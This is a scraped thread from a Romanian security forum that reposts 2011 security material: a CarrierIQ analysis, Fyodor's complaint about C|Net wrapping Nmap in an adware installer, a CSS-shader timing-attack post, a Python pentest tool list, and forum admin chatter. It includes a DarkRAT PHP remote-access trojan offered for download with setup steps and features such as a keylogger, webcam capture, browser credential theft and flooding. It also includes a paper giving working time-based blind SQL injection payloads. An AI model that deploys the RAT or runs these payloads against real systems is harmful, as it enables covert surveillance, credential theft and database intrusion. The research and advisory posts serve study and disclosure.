Nytro

[Web Backdoors] [Attack, Evasion and Detection] [fb1h2s aka Rahul Sasi] Meet Us at http://www.Garage4Hackers.com FB1H2S Abstract: This paper provides insight on common web back doors and how simple manipulations could make them undetectable by AV and other security suits. Paper explains few techniques that could be used to render undetectable and unnoticed backdoors inside web applications. This paper is mainly an update for an old paper of ours Effectiveness of Antivirus in Detecting Web Application Backdoors, which mainly questioned the effectiveness of AV with respect to web shells and analysis of a couple of web shells. Current paper takes this topic further and explains a couple of methodologies that could be used to make stealth application layer backdoors using web scripting languages .This paper explains various Web Backdoor attacks and evasion techniques that could be used to stay undetected . Download: http://dl.packetstormsecurity.net/papers/general/web_backdoors_evasion_detection.pdf

[h=2]CarrierIQ: The Real Story[/h] Since the beginning of the media frenzy over CarrierIQ, I have repeatedly stated that based on my knowledge of the software, claims that keystrokes, SMS bodies, email bodies, and other data of this nature are being collected are erroneous. I have also stated that to satisfy users, it’s important that there be increased visibility into what data is actually being collected on these devices. This post represents my findings on how CarrierIQ works, and what data it is capable of collecting. [h=1]CarrierIQ Architecture Overview[/h] There has been a lot of misinformation about which parties are responsible for which aspects of data collection. At a high level, CarrierIQ is a piece of software installed on phones that accepts pieces of information known as metrics. On receiving a submitted metric, CIQ evaluates whether that metric is “interesting” based on the current profile installed on the device. Profiles dictate whether or not a piece of information is relevant for assessing a particular aspect of phone service, such as reception or battery usage. These profiles are written by CarrierIQ at the request of cell phone carriers. Note that the CarrierIQ application simply receives these metrics, collects them, and eventually uploads them to be analyzed by carriers. All of the code responsible for determining which metrics are submitted to CIQ for processing is integrated into the phone’s application stack by the handset manufacturers themselves. To get a complete picture of this, suppose a carrier decides it wants to know about dropped calls. The handset manufacturers who produce phones supported by that carrier instrument the application code such that a metric is submitted to the CarrierIQ application when a call is dropped. When the CIQ application receives this metric, it evaluates whether or not to actually record this data and send it to the carrier based on the profile installed on the device. [h=1]What Metrics are Available?[/h] I have completed an analysis of a deployment of CarrierIQ on the Samsung Epic 4G Touch. In this analysis, I enumerated every CarrierIQ-related hook integrated into the Android framework and examined what metrics can possibly be collected, and just as importantly, in what situations. This list does not include metrics that may be submitted by the baseband, which include additional radio and telephony information. The following table represents my findings: [TABLE] [TR] [TD]Metric ID[/TD] [TD]Metric[/TD] [TD]Data Sent[/TD] [TD]Situation[/TD] [/TR] [TR] [TD]AL34, AL35, AL36[/TD] [TD]Browser page render event[/TD] [TD]Internal page ID, no data related to page contents or URL[/TD] [TD]Page renders[/TD] [/TR] [TR] [TD]LC18, LC30[/TD] [TD]Location event[/TD] [TD]GPS and non-GPS location data[/TD] [TD]Location changes, telephony-related events[/TD] [/TR] [TR] [TD]NT0F, NT10[/TD] [TD]HTTP event[/TD] [TD]Request type, content length, local port, status code, URL, no page contents[/TD] [TD]HTTP request sent or response received[/TD] [/TR] [TR] [TD]NT07[/TD] [TD]Network event[/TD] [TD]Internal identifier[/TD] [TD]Network state changes[/TD] [/TR] [TR] [TD]DO3M, GS18, GS19, GS46, GS47, GS6E, RF02, RF04, RF05, RF1A, RF55[/TD] [TD]Telephony/radio events[/TD] [TD]Misc. radio and telephony data[/TD] [TD]Call dropped, service issues, radio event, etc.[/TD] [/TR] [TR] [TD]HW03, HW10, HW11[/TD] [TD]Hardware event[/TD] [TD]Battery level, voltage, temperature, etc.[/TD] [TD]Hardware state change[/TD] [/TR] [TR] [TD]UI01[/TD] [TD]Keystroke event[/TD] [TD]Keycode[/TD] [TD]Key pressed in phone dialer only[/TD] [/TR] [TR] [TD]UI08, UI09[/TD] [TD]Miscellaneous GUI events[/TD] [TD]Network type, battery state[/TD] [TD]GUI state changes[/TD] [/TR] [TR] [TD]GS01, GS02, GS03, LO03[/TD] [TD]Call event[/TD] [TD]CallerID, state, phone number[/TD] [TD]Call initiated, received, or failed[/TD] [/TR] [TR] [TD]UI13, UI15, UI19[/TD] [TD]Application event[/TD] [TD]Application name[/TD] [TD]New app, app stopped, app gained/lost focus[/TD] [/TR] [TR] [TD]QU04, QU05[/TD] [TD]Questionnaire event[/TD] [TD]Question data[/TD] [TD]Questionnaire completed[/TD] [/TR] [TR] [TD]MG01, MG02[/TD] [TD]SMS event[/TD] [TD]Message length, phone number, status, no message body[/TD] [TD]SMS received or sent[/TD] [/TR] [/TABLE] [h=1]Interpreting These Findings[/h] There are a number of important conclusions that can be drawn from this information: 1. CarrierIQ cannot record SMS text bodies, web page contents, or email content even if carriers and handset manufacturers wished to abuse it to do so. There is simply no metric that contains this information. 2. CarrierIQ (on this particular phone) can record which dialer buttons are pressed, in order to determine the destination of a phone call. I’m not a lawyer, but I would expect cell carriers already have legal access to this information. 3. CarrierIQ (on this particular phone) cannot record any other keystrokes besides those that occur using the dialer. 4. CarrierIQ can report GPS location data in some situations. 5. CarrierIQ can record the URLs that are being visited (including for HTTPS resources), but not the contents of those pages or other HTTP data. One important thing to note is that this represents the metrics that are submitted to the CarrierIQ application by the code written by Samsung. The list of available metrics are carrier specific, but will remain constant on a given handset model. The subset of this data that is actually recorded and collected is at the discretion of the carrier, and is based on the profile installed on the device. Edit: There have been comments made about use of the word “cannot” versus “does not”. I am using the word “cannot” literally, as in “is not capable of, in the present tense, without being altered by modifying its code and installing a new version on the phone”. It seems obvious to me that CarrierIQ could be modified in the future to perform nefarious actions: so could any application on your phone. Keep in mind CIQ is integrated by the OEM and to my knowledge has never been modified after installation, except in terms of profiles, which simply dictate which subset of available metrics defined by the OEM are collected. [h=1]Why Do They Gather This Data?[/h] Taking this information into account, all of the data that is potentially being collected supports CarrierIQ’s claims that its data is used for diagnosing and fixing network, application, and hardware failures. Every metric in the above table has potential benefits for improving the user experience on a cell phone network. If carriers want to improve coverage, they need to know when and where calls are dropped. If handset manufacturers want to improve battery life on phones, knowledge of which applications consume the most battery life is essential. Consumers will have their own opinions about whether the collection of this data falls under the terms set by service agreements, but it’s clear to me that the intent behind its collection is not only benign, but for the purposes of helping the user. [h=1]Conclusions[/h] Based on my research, CarrierIQ implements a potentially valuable service designed to help improve user experience on cellular networks. However, I want to make it clear that just because I do not see any evidence of evil intentions does not mean that what’s happening here is necessarily right. I believe the following points need to be addressed. Note that most of the burden in this situation falls not on CarrierIQ but on the handset manufacturers and carriers, who are ultimately responsible for both collecting this information and establishing service agreements with consumers. 1. Consumers need to be able to opt out of any sort of data collection. This option would need to be provided by carriers and handset manufacturers. 2. There needs to be more transparency on the part of carriers in terms of what data is being collected from users. 3. There needs to be third-party oversight on what data is collected to prevent abuse. 4. The verbose debugging logs demonstrated in Trevor Eckhart’s are a risk to privacy, and should be corrected by HTC (the author of the responsible code) by disabling these debugging messages. 5. The legality of gathering full URLs with query parameters and other data of this nature should be examined. Footnote: Neither I nor my employer (VSR) have ever had a professional relationship with CarrierIQ, handset manufacturers, or cellular providers. This research was conducted independently by me. Edit: In the interest of full disclosure, after completing this research, I provided it to CarrierIQ, who confirmed my technical findings. This entry was posted on Monday, December 5th, 2011 at 12:42 am and is filed under Android. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed. Sursa: Security Research by Dan Rosenberg

In sfarsit ceva interesant si pentru mine. Thanks.

Clar, infecteaza. Am scos link-ul.

Nu e de la tema sau forum, sunt niste setari de securitate pe server. Voi discuta cu tex. Cat despre conturi, rezolv astazi daca ajung devreme acasa.

C|Net Download.Com is now bundling Nmap with malware! From: Fyodor <fyodor () insecure org> Date: Mon, 5 Dec 2011 14:35:30 -0800 Hi Folks. I've just discovered that C|Net's Download.Com site has started wrapping their Nmap downloads (as well as other free software like VLC) in a trojan installer which does things like installing a sketchy "StartNow" toolbar, changing the user's default search engine to Microsoft Bing, and changing their home page to Microsoft's MSN. The way it works is that C|Net's download page (screenshot attached) offers what they claim to be Nmap's Windows installer. They even provide the correct file size for our official installer. But users actually get a Cnet-created trojan installer. That program does the dirty work before downloading and executing Nmap's real installer. Of course the problem is that users often just click through installer screens, trusting that download.com gave them the real installer and knowing that the Nmap project wouldn't put malicious code in our installer. Then the next time the user opens their browser, they find that their computer is hosed with crappy toolbars, Bing searches, Microsoft as their home page, and whatever other shenanigans the software performs! The worst thing is that users will think we (Nmap Project) did this to them! I took and attached a screen shot of the C|Net trojan Nmap installer in action. Note how they use our registered "Nmap" trademark in big letters right above the malware "special offer" as if we somehow endorsed or allowed this. Of course they also violated our trademark by claiming this download is an Nmap installer when we have nothing to do with the proprietary trojan installer. In addition to the deception and trademark violation, and potential violation of the Computer Fraud and Abuse Act, this clearly violates Nmap's copyright. This is exactly why Nmap isn't under the plain GPL. Our license (http://nmap.org/book/man-legal.html) specifically adds a clause forbidding software which "integrates/includes/aggregates Nmap into a proprietary executable installer" unless that software itself conforms to various GPL requirements (this proprietary C|Net download.com software and the toolbar don't). We've long known that malicious parties might try to distribute a trojan Nmap installer, but we never thought it would be C|Net's Download.com, which is owned by CBS! And we never thought Microsoft would be sponsoring this activity! It is worth noting that C|Net's exact schemes vary. Here is a story about their shenanigans: http://www.extremetech.com/computing/93504-download-com-wraps-downloads-in-bloatware-lies-about-motivations It is interesting to compare the trojaned VLC screenshot in that article with the Nmap one I've attached. In that case, the user just clicks "Next step" to have their machine infected. And they wrote "SAFE, TRUSTED, AND SPYWARE FREE" in the trojan-VLC title bar. It is telling that they decided to remove that statement in their newer trojan installer. In fact, if we UPX-unpack the Trojan CNet executable and send it to VirusTotal.com, it is detected as malware by Panda, McAfee, F-Secure, etc: http://bit.ly/cnet-nmap-vt According to Download.com's own stats, hundreds of people download the trojan Nmap installer every week! So the first order of business is to notify the community so that nobody else falls for this scheme. Please help spread the word. Of course the next step is to go after C|Net until they stop doing this for ALL of the software they distribute. So far, the most they have offered is: "If you would like to opt out of the Download.com Installer you can submit a request to cnet-installer () cbsinteractive com All opt-out requests are carefully reviewed on a case-by-case basis." In other words, "we'll violate your trademarks and copyright and squandering your goodwill until you tell us to stop, and then we'll consider your request 'on a case-by-case basis' depending on how much money we make from infecting your users and how scary your legal threat is. F*ck them! If anyone knows a great copyright attorney in the U.S., please send me the details or ask them to get in touch with me. Also, shame on Microsoft for paying C|Net to trojan open source software! Cheers, Fyodor Sursa: http://seclists.org/nmap-hackers/2011/5

Alti suporteri de tastatura...

Edit: Am inteles gresit, scuze.

Taci acolo. Muie Steaua.

Nu e nimic rau in a reinventa roata, intotdeauna e loc de o roata mai buna. Felicitari.

Pfff. Isi pune omu o imagine pe site si gata, e spart... Nu e niciun deface.

Cam prostie faza cu steal.cpp. Din C poti atat sa citesti fisiere cat si sa le uploadezi prin FTP sau altceva, si nu e deloc complicat. Si daca e facut totul din C te scapa de orice fel de dependinte. Dar ideea e buna, insa mai dificila e partea cu "infectatul".

http://www.youtube.com/watch?v=HBvIg_w1_Rw

Pff, de maine nu cred ca vor mai fi astfel de probleme. Ii rog pe cei carora le-au disparut conturile sa posteze: 1. Username - Sa isi creeze unul identic (cu membri VIP voi discuta in particular) 2. Link catre un post de pe vechiul cont sau user ID-ul username-ului vechi daca il stie Dar mai bine verific ce alte probleme pot sa apara, pe unde mai sunt foreign keys cu user id-ul vechi. O sa ma ocup diseara de asta daca am timp.

Astept de la HellScream alte probleme in afara de reputatie, semnatura si lista prieteni. Apoi o sa procedez la fel si cu celelalte conturi.

Posteaza si o mica descriere te rog. Nu cred ca are rost sa "ascunzi" link-urile. Mutat la Wireless.

[h=2]iPhone-urile explodeaz?. La propriu[/h]4 decembrie 2011, 11:45 | Autor: Ramona Dragomir Telefoanele inteligente ale Apple pun în pericol de moarte utilizatorii. S?pt?mâna trecut?, pasagerii unui avion au asistat la o întâmplare care i-a l?sat mu?i de uimire. Un iPhone 4 s-a aprins în momentul ateriz?rii începând s? fumege dens, acesta fiind acompaniat de o tent? ro?iatic? a carcasei. La doar câteva zile de la acest indicent, un b?rbat din Brazilia a asistat la o scen? asem?n?toare: telefonul a început s? scoat? fum ?i din el s? sar? scântei. „Smartphone-ul era conectat la priz?, pentru a se înc?rca. Totul s-a petrecut noaptea, când proprietarul dormea", potrivit „The Sun". Tragedia provocat? de un incendiu a putut fi evitat? doar pentru c? utilizatorul a observat scânteile. Piese contraf?cute Speciali?tii în domeniu încearc? s? elucideze cauzele care au dus la producerea acestor incidente. Ei sus?in c? în ambele cazuri, problemele sunt cauzate de utilizarea unor componente contraf?cute: baterii sau alte piese. Sursa: http://www.adevarul.ro/life/viata/iPhone-urile_explodeaza-_La_propriu_0_602939812.html

[h=5]DarkRAT v11.2 PHP RAT[/h]Nu l-am testat, nu stiu daca e infectat, nu sunt raspunzator de nimic. Features : [?] -Restart [?] -Hibernate [?] -Logoff [?] -Open CDROM [?] -Close CDROM [?] -Mouse (0,0) [?] -Block Site [?] -Close process [?] -Delete File [?] -Set IE Home Page [?] -Set Clipboard [?] -Draw on screen [?] -Clean RecycleBin [?] -Block USB Write [?] -Unblock USB Write [?] -Set time [?] -Corrupt File [?] -Delete IE Cookies [?] -Delete IE History [?] -Delete IE Form data [?] -Delete IE Temp files [?] -Turn on monitor [?] -Turn off monitor [?] -Flip screen [?] -Un flipscreen [?] -Start screensaver [?] -Stop screensaver [?] -Mouse Clicker [?] -Swap Mouse - Left [?] -Swap Mouse - Right [?] -Disable Keyboard/Mouse [?] -Enable Keyboard/Mouse [?] -Disable desktop [?] -Enable desktop [?] -Focus desktop [?] -Show clock [?] -Hide clock [?] -Hide notify [?] -Show notify [?] -Mute sound [?] -Suspend proces [?] -Resume proces [?] -Hide taskbar [?] -Show taskbar [?] -Hide icons [?] -Show icons [?] -Change start button text [?] -Lock clipboard [?] -Unlock clipboard [?] -Turn on hidden files [?] -Turn off hidden files [?] -Change background [?] -Enable Taskmanager [?] -Disable Taskmanager [?] -Enable CMD [?] -Disable CMD [?] -Enable Registry [?] -Disable Registry [?] -Enable System Restore [?] -Disable System Restore [?] -Print [?] -Fake BSOD on [?] -Fake BSOD off [?] -Crazy CAPS Lock on [?] -Crazy CAPS Lock off [?] -Fake message [?] -Open program [?] -Open website [?] -Remote desktop [?] -Remote webcam [?] -Process manager [?] -Keylogger [?] -Chat [?] -UDP Flood [?] -PoD [?] -HTTP Flood [?] -Read Clipboard [?] -Filezilla data [?] -Camstasia Licence [?] -Windows Wallpaper Path [?] -SAMP Server Data [?] -Windows Product Key [?] -Firefox Data [?] -Last 25 Sites [?] -Default Browser Path [?] - Login system [?] - Customize your DarkRAT Background. [?] - Greater stability [?] - Icon changer [?] - Unlimited binder [?] - Improved security [?] - Chrome stealer [?] - Delete Clientregistry.blob(steam) Pequeño tutorial: 1- Upload la carpeta phh a tu servidor web 2- Dale permisos 777 (chmod) 3- Ejecuta "Dark RAT.exe" y escribe la direccion de donde subiste la carpeta "php" Ejemplo "http://tuweb.com/php/" 4- Luego dale a conectar y listo el cliente se conectara al servidor web al igual que el server (remoto) de esa forma no es necesario abrir ningun puerto en tu pc Download: http://www.megaupload.com/?d=J0SKO8J0 Fuente PD: Hace falta Framework Sursa: http://www.underc0de.org/foro/index.php?topic=7936.msg29577

[h=3]Chrome & Opera PoC: rapid history extraction through non-destructive cache timing[/h] This is an experimental port of my of my Firefox cache timing script, designed to work in Chrome and Opera. I had no chance to test this version very thoroughly, so I am not yet sure how reliable it will be in the wild. Your feedback is appreciated. Please refer to the top-level page for more. information about the purpose and the design of this tool. A se vedea codul sursa: http://lcamtuf.coredump.cx/cachetime/chrome.html

[h=2]Timing Attacks on CSS Shaders[/h][h=2]Saturday, December 3, 2011[/h] CSS Shaders is a new feature folks from Adobe, Apple, and Opera have proposed to the W3C CSS-SVG Effects Task Force. Rather than being limited to pre-canned effects, such as gradients and drop shadows, CSS Shaders would let web developers apply arbitrary OpenGL shaders to their content. That makes for some really impressive demos. Unfortunately, CSS Shaders has a security problem. To understand the security problem with CSS Shaders, it's helpful to recall a recent security issue with WebGL. Similar to CSS Shaders, WebGL lets developers use OpenGL shaders in their web applications. Originally, WebGL let these shaders operate on arbitrary textures, including textures fetched from other origins. Unfortunately, this design was vulnerable to a timing attack because the runtime of OpenGL shaders can depend on their inputs. Using the shader code below, James Forshaw built a compelling proof-of-concept attack that extracted pixel values from a cross-origin image using WebGL: [INDENT] [FONT=Courier New]for (int i = 0; i <= 1024; i += 1) { // Exit loop early depending on pixel brightness currCol.r -= 1.0; if (currCol.r <= 0.0) { currCol.r = 0.0; break; } } [/FONT] [/INDENT] Timing attacks are difficult to mitigate because once the sensitive data is present in the timing channel it's very difficult to remove. Using techniques like bucketing, we can limit the number of bits an attacker can extract per second, but, given enough time, the attacker can still steal the sensitive data. The best solution is the one WebGL adopted: prevent sensitive data from entering the timing channel. WebGL accomplished this by requiring cross-origin textures to be authorized via Cross-Origin Resource Sharing. There's a direct application of this attack to CSS Shaders. Because web sites are allowed to display content that they are not allowed to read, an attacker can use a Forshaw-style CSS shader read confidential information via the timing channel. For example, a web site could use CSS shaders to extract your identity from an embedded Facebook Like button. More subtly, a web site could extract your browsing history bypassing David Baron's defense against history sniffing. The authors of the CSS Shaders proposal are aware of these issues. In the Security Considerations section of their proposal, they write: However, it seems difficult to mount such an attack with CSS shaders because the means to measure the time taken by a cross-domain shader are limited. Now, I don't have a proof-of-concept attack, but this claim is fairly dubious. The history of timing attacks, including other web timing attacks, teaches us that even subtle leaks in the timing channel can lead to practical attacks. Given that we've seen practical applications of the WebGL version of this attack, it seems quite likely CSS Shaders are vulnerable to timing attacks. Specifically, there are a number of mechanisms for timing rendering. For example, MozBeforePaint and MozAfterPaint provide a mechanism for measuring paint times directly. Also, the behavior of requestAnimationFrame contains information about rendering times. Without a proof-of-concept attack we cannot be completely certain that these attacks on CSS Shaders are practical, but waiting for proof-of-concept attacks before addressing security concerns isn't a path that leads to security. Sursa: Scheme/Host/Port: Timing Attacks on CSS Shaders

Nu stiu, o sa ma uit in baza de date sa vad ce se intampla de fapt. HellScream: Am facut modificari prin baza de date si acum ar trebui cel putin partial sa fie Ok. Spune-mi ce probleme apar, inainte sa fac acelasi lucru si pentru alti membri. Practic ai pierdut datele de pe noul cont, dar ar trebui sa fie ok datele de pe vechiul cont. Acum plm, depinde ce cacat s-a mai "sters" (a disparut) din baza de date.

[h=1]Python tools for penetration testers[/h] If you are involved in vulnerability research, reverse engineering or penetration testing, I suggest to try out the Python programming language. It has a rich set of useful libraries and programs. This page lists some of them. Most of the listed tools are written in Python, others are just Python bindings for existing C libraries, i.e. they make those libraries easily usable from Python programs. Some of the more aggressive tools (pentest frameworks, bluetooth smashers, web application vulnerability scanners, war-dialers, etc.) are left out, because the legal situation of these tools is still a bit unclear in Germany -- even after the decision of the highest court. This list is clearly meant to help whitehats, and for now I prefer to err on the safe side. [h=3]Network[/h] Scapy: send, sniff and dissect and forge network packets. Usable interactively or as a library pypcap, Pcapy and pylibpcap: several different Python bindings for libpcap libdnet: low-level networking routines, including interface lookup and Ethernet frame transmission dpkt: fast, simple packet creation/parsing, with definitions for the basic TCP/IP protocols Impacket: craft and decode network packets. Includes support for higher-level protocols such as NMB and SMB pynids: libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection Dirtbags py-pcap: read pcap files without libpcap flowgrep: grep through packet payloads using regular expressions httplib2: comprehensive HTTP client library that supports many features left out of other HTTP libraries Knock Subdomain Scan, enumerate subdomains on a target domain through a wordlist Mallory, man-in-the-middle proxy for testing mitmproxy: SSL-capable, intercepting HTTP proxy. Console interface allows traffic flows to be inspected and edited on the fly [h=3]Debugging and reverse engineering[/h] Paimei: reverse engineering framework, includes PyDBG, PIDA, pGRAPH Immunity Debugger: scriptable GUI and command line debugger IDAPython: IDA Pro plugin that integrates the Python programming language, allowing scripts to run in IDA Pro PyEMU: fully scriptable IA-32 emulator, useful for malware analysis pefile: read and work with Portable Executable (aka PE) files pydasm: Python interface to the libdasm x86 disassembling library PyDbgEng: Python wrapper for the Microsoft Windows Debugging Engine uhooker: intercept calls to API calls inside DLLs, and also arbitrary addresses within the executable file in memory diStorm64: disassembler library for AMD64, licensed under the BSD license python-ptrace: debugger using ptrace (Linux, BSD and Darwin system call to trace processes) written in Python [h=3]Fuzzing[/h] Sulley: fuzzer development and fuzz testing framework consisting of multiple extensible components Peach Fuzzing Platform: extensible fuzzing framework for generation and mutation based fuzzing antiparser: fuzz testing and fault injection API TAOF, including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzer untidy: general purpose XML fuzzer Powerfuzzer: highly automated and fully customizable web fuzzer (HTTP protocol based application fuzzer) FileP: file fuzzer. Generates mutated files from a list of source files and feeds them to an external program in batches SMUDGE Mistress: probe file formats on the fly and protocols with malformed data, based on pre-defined patterns Fuzzbox: multi-codec media fuzzer Forensic Fuzzing Tools: generate fuzzed files, fuzzed file systems, and file systems containing fuzzed files in order to test the robustness of forensics tools and examination systems Windows IPC Fuzzing Tools: tools used to fuzz applications that use Windows Interprocess Communication mechanisms WSBang: perform automated security testing of SOAP based web services Construct: library for parsing and building of data structures (binary or textual). Define your data structures in a declarative manner fuzzer.py (feliam): simple fuzzer by Felipe Andres Manzano Fusil: Python library used to write fuzzing programs [h=3]Web[/h] ProxMon: processes proxy logs and reports discovered issues WSMap: find web service endpoints and discovery files Twill: browse the Web from a command-line interface. Supports automated Web testing Windmill: web testing tool designed to let you painlessly automate and debug your web application FunkLoad: functional and load web tester [h=3]Forensics[/h] Volatility: extract digital artifacts from volatile memory (RAM) samples SandMan: read the hibernation file, regardless of Windows version LibForensics: library for developing digital forensics applications TrIDLib, identify file types from their binary signatures. Now includes Python binding [h=3]Malware analysis[/h] pyew: command line hexadecimal editor and disassembler, mainly to analyze malware Exefilter: filter file formats in e-mails, web pages or files. Detects many common file formats and can remove active content pyClamAV: add virus detection capabilities to your Python software jsunpack-n, generic JavaScript unpacker: emulates browser functionality to detect exploits that target browser and browser plug-in vulnerabilities yara-python: identify and classify malware samples [h=3]PDF[/h] Didier Stevens' PDF tools: analyse, identify and create PDF files (includes PDFiD, pdf-parser and make-pdf and mPDF) Opaf: Open PDF Analysis Framework. Converts PDF to an XML tree that can be analyzed and modified. Origapy: Python wrapper for the Origami Ruby module which sanitizes PDF files pyPDF: pure Python PDF toolkit: extract info, spilt, merge, crop, encrypt, decrypt... PDFMiner: extract text from PDF files python-poppler-qt4: Python binding for the Poppler PDF library, including Qt4 support [h=3]Misc[/h] InlineEgg: toolbox of classes for writing small assembly programs in Python Exomind: framework for building decorated graphs and developing open-source intelligence modules and ideas, centered on social network services, search engines and instant messaging RevHosts: enumerate virtual hosts for a given IP address simplejson: JSON encoder/decoder, e.g. to use Google's AJAX API PyMangle: command line tool and a python library used to create word lists for use with other penetration testing tools Hachoir: view and edit a binary stream field by field [h=3]Other useful libraries and tools[/h] IPython: enhanced interactive Python shell with many features for object introspection, system shell access, and its own special command system Beautiful Soup: HTML parser optimized for screen-scraping matplotlib: make 2D plots of arrays Mayavi: 3D scientific data visualization and plotting RTGraph3D: create dynamic graphs in 3D Twisted: event-driven networking engine Suds: lightweight SOAP client for consuming Web Services M2Crypto: most complete OpenSSL wrapper NetworkX: graph library (edges, nodes) pyparsing: general parsing module lxml: most feature-rich and easy-to-use library for working with XML and HTML in the Python language Pexpect: control and automate other programs, similar to Don Libes `Expect` system Sikuli, visual technology to search and automate GUIs using screenshots. Scriptable in Jython PyQt and PySide: Python bindings for the Qt application framework and GUI library For more libaries, please have a look at PyPI, the Python Package Index. Sursa: Dirk Loss: Python tools for penetration testers

Indexed blind SQL injection From: Nam Nguyen Date: Sat, 3 Dec 2011 08:49:37 -0800 Indexed blind SQL injection From: Nam Nguyen <namn () bluemoon com vn> Date: Sat, 3 Dec 2011 08:49:37 -0800 =========================== Indexed blind SQL injection =========================== :Author: gamma95 <gamma95 [at] gmail> and his minions :Date: December 03, 2011 Time based blind SQL attack suffers from low bit/request ratio. Each request produces only one valuable bit of information. This paper describes a tweak that produces higher yield at the expense of longer runtime. Along the way, some issues and notes of applicability are also discussed. Background ++++++++++ Time based blind SQL injection attack is probably the most well-known technique in the planet. The method works by analyzing the time difference in various queries. Because query execution time is a side effect of a query, no visible output is required for this method to succeed. For example, a query could request that the DBMS to sleep for 10 seconds if the first character of the username is ``A``. Usually, time based technique go hand in hand with binary search. Instead of asking if the first character is ``1``, then ``2``, then ``3``, it could partition the possible values into two ranges (say from ``0`` to ``4`` and ``5`` to ``9``) and ask if the first character is less than ``5``. Depending on the result, it picks out the more likely range and repeats the process until there is only one possible value. This effectively puts a logarithmic bound on number of requests to the DBMS. In other words, each request gives us one bit of information. Increasing the usable bit/request ratio +++++++++++++++++++++++++++++++++++++++ Due to low bit/request ratio, an attack attempt usually leaves behind too many requests in access log. This is undesirable. A better approach could be to encode the correct value into query execution time itself. For example, if we know the value is a number from 0 to 9, we could ask DBMS to sleep for that many seconds straight. In this case, one request carries more than 3 bits of usable information. This is the principal idea behind our tweak. Indexed time based attack +++++++++++++++++++++++++ To encode more bits into the execution time, we must work with variable numeric delay values. Therefore, we need two things: + A measurable delay interval. Too short the interval and network latency could negatively affect our measurement. Too long the delay will also waste our time. + And its mapping to target values. A delay of one second could mean character ``A`` or it could also mean some other value, depending on the possible domain. These necessitate an array-like index search. Say, if our domain is ten (character) values from ``0`` to ``9``, then we can easily combine them into an array like shown below. :: 1 2 3 4 5 6 7 8 9 10 (index) | | | | | | | | | | v v v v v v v v v v +---+---+---+---+---+---+---+---+---+---+ | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | (value) +---+---+---+---+---+---+---+---+---+---+ Given a random character, we can tell in one request if it is in this set, and if it is, what specific character it actually is. The way to do that is by delaying query time by the index of the character. If the input character is not in the set, there will be no delay. If it is, its index is determinable from the sleep time. An example ++++++++++ Suppose we are trying to grab version information from a **MySQL** server. Possible characters include 0-9 and period. Observe the execution time. :: select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (6.04 sec) # index 6, value '5' select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (11.00 sec) # index 11, value '.' select sleep(find_in_set(mid(@@version, 3, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (2.00 sec) # index 2, value '1' ... Each request gives us exactly one character (not bit). Notes of applicability ++++++++++++++++++++++ Adjusting sleep time ==================== Faster sleep time is easily achievable by multiplying the index with some factor smaller than 1. For example, we can sleep half the time as before:: select sleep(0.5 * find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (3.00 sec) # index 6, value '5' Similarly, longer sleep time can use factors greater than 1. Guarding against network latency ================================ Time based attack generally works best in a fast and reliable networked environment. Small jitters in latency could skew the measurements and affect end result. However, this technique we are describing here could be modified to support network latency. The idea is that since sleeping time is a calculated number, we could add to it a fixed amount of time for latency, or prepend some invalid characters (such as ``a`` when the domain is 0-9) in the domain set. :: select sleep(find_in_set(mid(@@version, 1, 1), 'a,a,a,a,0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (10.00 sec) # index 10, value '5' We can also sprinkle invalid characters in between valid characters to manually adjust amount of sleeping time. Picking an acceptable domain ============================ The set of possible values should be carefully picked to match the value that one expects. Wide domain (more values) has a better chance of catching the input, but it requires a longer sleep time on average. Narrow domain (less values) has slimmer chance to catch the input, but it generally finishes faster on average. Some web frameworks enforce a maximum execution time. A query that takes more than, say, 30 seconds will be prime target for an early termination (and possibly logging). Therefore, picking out an acceptable domain is not only an optimization but sometimes a necessity. Using other functions ===================== ``find_in_set`` is only one of the string search functions that MySQL supports. One can also use other functions such as ``instr``, ``locate``, and ``position``. Sleeping in ``WHERE`` clause ============================ Most of the time, the injection point is in a ``WHERE`` clause. Because the ``WHERE`` clause is tested against all candidate rows, we better make sure that there is only **one** candidate. We can do that by making sure the table scan produces one row. Otherwise, our sleep measure will be multiplied up by the number of candidates. :: create table test (a int primary key, b char(16)); insert into test values(1, 'abcd'); insert into test values(2, 'zyxw'); select count(*) from test; +----------+ | count(*) | +----------+ | 2 | +----------+ # we have 2 rows in table test select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.')); Empty set (12.00 sec) # here we sleep for 12 seconds because all (2) rows are tested select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.')); Empty set (6.00 sec) # here we sleep for 6 seconds because only one row is tested Conclusion ++++++++++ This paper described a small tweak to the well-known time based SQL injection technique. The principle behind the increase in bit/request ratio is encoding more information in the query execution time. This is done with index based array search functions such as ``find_in_set``. The desirably smaller number of requests comes at the expense of generally longer execution time. This paper also discussed about some technical concerns that one must pay close attention to when employing the technique. Minute aspects such as table scan, applicable value domain, network latency, and amount of sleep time are at the top list to watch out for. Acknowledgement +++++++++++++++ Thanks go to Nam Nguyen for his early review and support. -- Nam Nguyen, CISA, CISSP, CSSLP Blue Moon Consulting Co., Ltd http://www.bluemoon.com.vn -- Nam Nguyen, CISA, CISSP, CSSLP Blue Moon Consulting Co., Ltd http://www.bluemoon.com.vn Sursa: Full Disclosure: Indexed blind SQL injection

